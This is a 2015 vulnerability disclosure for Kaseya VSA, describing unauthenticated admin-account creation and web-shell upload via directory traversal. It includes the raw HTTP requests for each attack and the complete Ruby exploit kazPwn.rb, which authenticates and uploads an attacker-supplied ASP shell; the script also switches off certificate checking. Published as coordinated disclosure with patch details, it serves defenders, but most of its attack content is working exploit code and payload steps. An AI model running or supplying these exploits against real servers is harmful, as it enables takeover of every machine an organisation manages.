Kaseya VSA is an IT management platform for small and medium corporates.
From its console you can control thousands of computers and mobile
devices. So that if you own the Kaseya server, you own the organisation.
With this post I'm also releasing two Metasploit modules ([E1], [E2])
and a Ruby file ([E3]) that exploit the vulnerabilities described below.

A special thanks to ZDI for assisting with the disclosure of these
vulnerabilities. The full advisory text is below, but can also be
obtained from my repo at [E4].

[E1] https://github.com/rapid7/metasploit-framework/pull/6018
[E2] https://github.com/rapid7/metasploit-framework/pull/6019
[E3] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb
[E4]
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vs
a-vuln-2.txt

Regards,
Pedro

============

>> Multiple vulnerabilities in Kaseya Virtual System Administrator
>> Discovered by Pedro Ribeiro (pedrib (at) gmail (dot) com [email concealed]), Agile Information
Security (http://www.agileinfosec.co.uk/)
========================================================================
==
Disclosure: 23/09/2015 / Last updated: 28/09/2015

>> Background on the affected product:
"Kaseya VSA is an integrated IT Systems Management platform that can be
leveraged seamlessly across IT disciplines to streamline and automate
your IT services. Kaseya VSA integrates key management capabilities into
a single platform. Kaseya VSA makes your IT staff more productive, your
services more reliable, your systems more secure, and your value easier
to show."

A special thanks to ZDI for assisting with the vulnerability reporting
process.
These vulnerabilities were disclosed by ZDI under IDs ZDI-15-448 [1],
ZDI-15-449 [2] and ZDI-15-450 [3] on 23/09/2015.

>> Technical details:
#1
Vulnerability: Remote privilege escalation (add Master Administrator
account - unauthenticated)
CVE-2015-6922 / ZDI-15-448
Affected versions:
VSA Version 7.0.0.0 â?? 7.0.0.32
VSA Version 8.0.0.0 â?? 8.0.0.22
VSA Version 9.0.0.0 â?? 9.0.0.18
VSA Version 9.1.0.0 â?? 9.1.0.8

GET /LocalAuth/setAccount.aspx
Page will attempt to redirect, ignore this and obtain the "sessionVal"
value from the page which will be used in the following POST request.

POST /LocalAuth/setAccount.aspx
sessionVal=<sessionVal>&adminName=<username>&NewPassword=<password>&conf
irm=<password>&adminEmail=bla (at) bla (dot) com [email concealed]&setAccount=Create

You are now a Master Administrator and can execute code in all the
managed desktops and mobile devices.
A Metasploit module that exploits this vulnerability has been released.

#2
Vulnerability: Remote code execution via file upload with directory
traversal (unauthenticated)
CVE-2015-6922 / ZDI-15-449
Affected versions:
VSA Version 7.0.0.0 â?? 7.0.0.32
VSA Version 8.0.0.0 â?? 8.0.0.22
VSA Version 9.0.0.0 â?? 9.0.0.18
VSA Version 9.1.0.0 â?? 9.1.0.8

First we do:
GET /ConfigTab/serverfiles.asp
which will respond with a 302 redirect to /mainLogon.asp?logout=<sessionID>
Thanks for creating a valid sessionID for us, Kaseya!

POST
/ConfigTab/uploader.aspx?PathData=C%3A%5CKaseya%5CWebPages%5C&qqfile=she
ll.asp
Cookie: sessionId=<sessionID>
<... ASP shell here...>

The path needs to be correct, but Kaseya is helpful enough to let us
know when a path doesn't exist.
A Metasploit module that exploits this vulnerability has been released.

#3
Vulnerability: Remote code execution via file upload with directory
traversal (authenticated)
CVE-2015-6589 / ZDI-15-450
Affected versions:
VSA Version 7.0.0.0 â?? 7.0.0.32
VSA Version 8.0.0.0 â?? 8.0.0.22
VSA Version 9.0.0.0 â?? 9.0.0.18
VSA Version 9.1.0.0 â?? 9.1.0.8

Login to the VSA console and obtain ReferringWebWindowId from the URL
(wwid parameter).
Create a POST request as below with the ReferringWebWindowId:

POST /vsapres/web20/json.ashx HTTP/1.1
Content-Type: multipart/form-data;
boundary=---------------------------114052411119142
Content-Length: 1501

-----------------------------114052411119142
Content-Disposition: form-data; name="directory"

../WebPages
-----------------------------114052411119142
Content-Disposition: form-data; name="ReferringWebWindowId"

31a5d16a-01b7-4f8d-adca-0b2e70006dfa
-----------------------------114052411119142
Content-Disposition: form-data; name="request"

uploadFile
-----------------------------114052411119142
Content-Disposition: form-data; name="impinf__uploadfilelocation";
filename="shell.asp"
Content-Type: application/octet-stream

<... ASP shell here...>

-----------------------------114052411119142--

A Ruby exploit (kazPwn.rb) that abuses this vulnerability has also been
been released [4].

>> Fix:
V7 â?? Install patch 7.0.0.33
R8 â?? Install patch 8.0.0.23
R9 â?? Install patch 9.0.0.19
R9.1 â?? Install patch 9.1.0.9

>> References:
[1] http://zerodayinitiative.com/advisories/ZDI-15-448/
[2] http://zerodayinitiative.com/advisories/ZDI-15-449/
[3] http://zerodayinitiative.com/advisories/ZDI-15-450/
[4] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>

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#!/usr/bin/ruby
#
# kazPwn.rb - Kaseya VSA v7 to v9.1 authenticated arbitrary file upload (CVE-2015-6589 / ZDI-15-450)
# ===================
# by Pedro Ribeiro <pedrib@gmail.com> / Agile Information Security
# Disclosure date: 28/09/2015
#
# Usage: ./kazPwn.rb http[s]://<host>[:port] <username> <password> <shell.asp>
#
# execjs and mechanize gems are required to run this exploit
#
# According to Kaseya's advisory, this exploit should work for the following VSA versions:
# VSA Version 7.0.0.0 – 7.0.0.32
# VSA Version 8.0.0.0 – 8.0.0.22
# VSA Version 9.0.0.0 – 9.0.0.18
# VSA Version 9.1.0.0 – 9.1.0.8
# This exploit has been tested with v8 and v9.
#
# Check out these two companion vulnerabilities, both of which have Metasploit modules:
# - Unauthenticated remote code execution (CVE-2015-6922 / ZDI-15-449)
# - Unauthenticated remote  privilege escalation (CVE-2015-6922 / ZDI-15-448)
#
# This code is released under the GNU General Public License v3
# http://www.gnu.org/licenses/gpl-3.0.html
#

require 'execjs'
require 'mechanize'
require 'open-uri'
require 'uri'
require 'openssl'

# avoid certificate errors
OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE
I_KNOW_THAT_OPENSSL_VERIFY_PEER_EQUALS_VERIFY_NONE_IS_WRONG = nil

# Fixes a Mechanize bug, see
# http://scottwb.com/blog/2013/11/09/defeating-the-infamous-mechanize-too-many-connection-resets-bug/
class Mechanize::HTTP::Agent
  MAX_RESET_RETRIES = 10

  # We need to replace the core Mechanize HTTP method:
  #
  #   Mechanize::HTTP::Agent#fetch
  #
  # with a wrapper that handles the infamous "too many connection resets"
  # Mechanize bug that is described here:
  #
  #   https://github.com/sparklemotion/mechanize/issues/123
  #
  # The wrapper shuts down the persistent HTTP connection when it fails with
  # this error, and simply tries again. In practice, this only ever needs to
  # be retried once, but I am going to let it retry a few times
  # (MAX_RESET_RETRIES), just in case.
  #
  def fetch_with_retry(
    uri,
    method    = :get,
    headers   = {},
    params    = [],
    referer   = current_page,
    redirects = 0
  )
    action      = "#{method.to_s.upcase} #{uri.to_s}"
    retry_count = 0

    begin
      fetch_without_retry(uri, method, headers, params, referer, redirects)
    rescue Net::HTTP::Persistent::Error => e
      # Pass on any other type of error.
      raise unless e.message =~ /too many connection resets/

      # Pass on the error if we've tried too many times.
      if retry_count >= MAX_RESET_RETRIES
        puts "**** WARN: Mechanize retried connection reset #{MAX_RESET_RETRIES} times and never succeeded: #{action}"
        raise
      end

      # Otherwise, shutdown the persistent HTTP connection and try again.
      # puts "**** WARN: Mechanize retrying connection reset error: #{action}"
      retry_count += 1
      self.http.shutdown
      retry
    end
  end

  # Alias so #fetch actually uses our new #fetch_with_retry to wrap the
  # old one aliased as #fetch_without_retry.
  alias_method :fetch_without_retry, :fetch
  alias_method :fetch, :fetch_with_retry
end

if ARGV.length < 4
  puts 'Usage: ./kazPwn.rb http[s]://<host>[:port] <username> <password> <shell.asp>'
  exit -1
end

host = ARGV[0]
username = ARGV[1]
password = ARGV[2]
shell_file = ARGV[3]

login_url = host + '/vsapres/web20/core/login.aspx'
agent = Mechanize.new

# 1- go to the login URL, get a session cookie and the challenge.
page = agent.get(login_url)
login_form = page.forms.first
challenge = login_form['loginFormControl$ChallengeValueField']

# 2- calculate the password hashes with the challenge
source = open(host + "/inc/sha256.js").read
source += open(host + "/inc/coverPass.js").read
source += open(host + "/inc/coverPass256.js").read
source += open(host + "/inc/coverData.js").read
source += open(host + "/inc/passwordHashes.js").read
source.gsub!(/\<\!--(\s)*\#include.*--\>/, "")          # remove any includes, this causes execjs to fail
context = ExecJS.compile(source)
hashes = context.call("getHashes",username,password,challenge)

# 3- submit the login form, authenticate our cookie and get the ReferringWebWindowId needed to upload the file
# We need the following input values to login:
#   - __EVENTTARGET (empty)
#   - __EVENTARGUMENT (empty)
#   - __VIEWSTATE (copied from the original GET request)
#   - __VIEWSTATEENCRYPTED (copied from the original GET request; typically empty)
#   - __EVENTVALIDATION (copied from the original GET request)
#   - loginFormControl$UsernameTextbox (username)
#   - loginFormControl$PasswordTextbox (empty)
#   - loginFormControl$SubmitButton (copied from the original GET request; typically "Logon")
#   - loginFormControl$SHA1Field (output from getHashes)
#   - loginFormControl$RawSHA1Field (output from getHashes)
#   - loginFormControl$SHA256Field (output from getHashes)
#   - loginFormControl$RawSHA256Field (output from getHashes)
#   - loginFormControl$ChallengeValueField (copied from the original GET request)
#   - loginFormControl$TimezoneOffset ("0")
#   - loginFormControl$ScreenHeight (any value between 800 - 2048)
#   - loginFormControl$ScreenWidth (any value between 800 - 2048)
login_form['__EVENTTARGET'] = ''
login_form['__EVENTARGUMENT'] = ''
login_form['loginFormControl$UsernameTextbox'] = username
login_form['loginFormControl$SHA1Field'] = hashes['SHA1Hash']
login_form['loginFormControl$RawSHA1Field'] = hashes['RawSHA1Hash']
login_form['loginFormControl$SHA256Field'] = hashes['SHA256Hash']
login_form['loginFormControl$RawSHA256Field'] = hashes['RawSHA256Hash']
login_form['loginFormControl$TimezoneOffset'] = 0
login_form['loginFormControl$SubmitButton'] = 'Logon'
login_form['loginFormControl$screenHeight'] = rand(800..2048)
login_form['loginFormControl$screenWidth'] = rand(800..2048)
page = agent.submit(login_form)
web_windowId = Hash[URI::decode_www_form(page.uri.query)]['ReferringWebWindowId']

# 4- upload the file using the ReferringWebWindowId
page = agent.post('/vsapres/web20/json.ashx',
  'directory' => "../WebPages",
  'ReferringWebWindowId' => web_windowId,
  'request' => 'uploadFile',
  'impinf__uploadfilelocation' => File.open(shell_file)
)

if page.code == "200"
  puts "Shell uploaded, check " + host + "/" + File.basename(shell_file)
else
  puts "Error occurred, shell was not uploaded correctly..."
end